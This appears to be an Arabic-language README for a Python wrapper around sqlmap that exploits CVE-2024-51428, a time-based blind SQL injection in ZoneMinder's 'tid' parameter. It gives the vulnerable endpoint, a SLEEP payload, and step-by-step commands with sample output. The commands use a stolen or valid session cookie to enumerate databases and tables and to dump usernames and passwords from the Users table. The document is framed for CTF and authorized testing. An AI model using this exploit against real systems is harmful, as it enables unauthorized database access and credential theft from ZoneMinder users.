
غلاف بلغة بايثون لاستغلال CVE-2024-51428 في ZoneMinder باستخدام حقن SQL الأعمى عبر sqlmap، مع أتمتة تعداد قواعد البيانات والجداول واستخراج البيانات بمخرجات نظيفة.
غلاف بايثون لـ sqlmap مصمم لاستغلال CVE-2024-51428 في ZoneMinder.
تعمل هذه الأداة على أتمتة اكتشاف واستغلال ثغرة حقن SQL الأعمى مع إبقاء المخرجات نظيفة ومركّزة على البيانات المفيدة.
يُخفي السكربت سجلات sqlmap ولا يعرض سوى المعلومات ذات الصلة مثل:
وهذا يجعل الأداة مثالية لبيئات CTF والعروض التوضيحية واختبار الأمان.
CVE: CVE-2024-51428
النوع: حقن SQL الأعمى
البرنامج المتأثر: ZoneMinder
متجه الهجوم: معامل HTTP GET
المعامل: tid
توجد الثغرة في نقطة النهاية التالية:
/zm/index.php?view=request&request=event&action=removetag&tid=
لا يتم تطهير المعامل tid بشكل صحيح قبل استخدامه في استعلام قاعدة البيانات، مما يسمح للمهاجمين بحقن استعلامات SQL.
تقنية الاستغلال المستخدمة هي حقن SQL الأعمى القائم على الوقت.
مثال على الحمولة المكتشفة بواسطة sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
تفرض هذه الحمولة على قاعدة البيانات السكون (sleep) إذا تم تنفيذ الاستعلام بنجاح، مما يؤكد وجود حقن SQL.
ثبّت sqlmap إذا لزم الأمر:
sudo apt install sqlmap
الصيغة الأساسية:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
بهذا الأمر نتحقق مما إذا كان الهدف عرضة للثغرة أم لا
مثال:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
يتطلب الاستغلال ملف تعريف ارتباط جلسة صالحًا لـ ZoneMinder.
الخطوات:
Application → Cookies
ZMSESSID
-cمثال:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
مثال على المخرجات:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
مثال على المخرجات:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
مثال على المخرجات:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
مثال:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
يمكنك تصفية الصفوف باستخدام:
-ff <COLUMN> <VALUE>
مثال:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
ما يعادله في SQL:
WHERE Username='mark'
مثال:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
الأمر الداخلي لـ sqlmap:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
يعمل السكربت كغلاف حول sqlmap.
الخطوات المنفذة داخليًا:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
أُنشئت هذه الأداة من أجل:
يُقدَّم هذا المشروع للأغراض التعليمية واختبارات الأمان المصرح بها فقط.
المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.
احصل دائمًا على التفويض المناسب قبل اختبار أي نظام.
البحث الأمني / أدوات CTF